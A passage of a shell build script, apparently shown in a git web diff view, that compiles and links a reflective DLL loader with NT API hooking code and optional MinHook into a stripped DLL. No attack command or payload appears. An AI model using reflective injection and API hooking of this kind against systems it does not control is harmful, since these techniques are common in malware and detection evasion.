"$CC" -c $CFLAGS -o "$SRC_DIR/ReflectiveDll.o" "$SRC_DIR/ReflectiveDll.c"
|
|
||||||
|
|
||||||
echo "Compiling NtApiHooks.c ..."
|
|
||||||
"$CC" -c $CFLAGS -include "$SRC_DIR/seh_compat.h" -o "$SRC_DIR/NtApiHooks.o" "$SRC_DIR/NtApiHooks.c"
|
|
||||||
|
|
||||||
echo "Linking $DLL_NAME ..."
|
|
||||||
LINK_OBJS="$SRC_DIR/ReflectiveLoader.o $SRC_DIR/ReflectiveDll.o $SRC_DIR/NtApiHooks.o"
|
|
||||||
if [ -n "${MINHOOK_OBJS:-}" ]; then
|
|
||||||
LINK_OBJS="$LINK_OBJS $MINHOOK_OBJS"
|
|
||||||
fi
|
|
||||||
LINK_LIBS="-lkernel32 -luser32 -ladvapi32 -lntdll"
|
|
||||||
if [ -n "${MINHOOK_LIB:-}" ] && [ -f "${MINHOOK_LIB}" ]; then
|
|
||||||
LINK_LIBS="$LINK_LIBS $MINHOOK_LIB"
|
|
||||||
fi
|
|
||||||
|
|
||||||
"$CC" -shared -o "$OUT_DIR/$DLL_NAME" $LINK_OBJS $LINK_LIBS \
|
|
||||||
-Wl,--entry,DllMain \
|
|
||||||
-Wl,--disable-runtime-pseudo-reloc \
|
|
||||||
-fno-stack-protector \
|
|
||||||
-s
|
|
||||||
|
|
||||||
echo "Built: $OUT_DIR/$DLL_NAME"
|
echo "Built: $OUT_DIR/$DLL_NAME"
|
||||||
ls -la "$OUT_DIR/$DLL_NAME"
|
ls -la "$OUT_DIR/$DLL_NAME"
|
||||||
|
|
||||||
# Clean up object files
|
|
||||||
rm -f "$SRC_DIR"/*.o
|
|
||||||
if [ -d "$MINHOOK_DIR" ]; then
|
|
||||||
find "$MINHOOK_DIR" -name '*.o' -delete
|
|
||||||
fi
|
|
||||||
|
|
||||||
echo "Done."
|
echo "Done."
|
||||||
Reference in New Issue
Block a user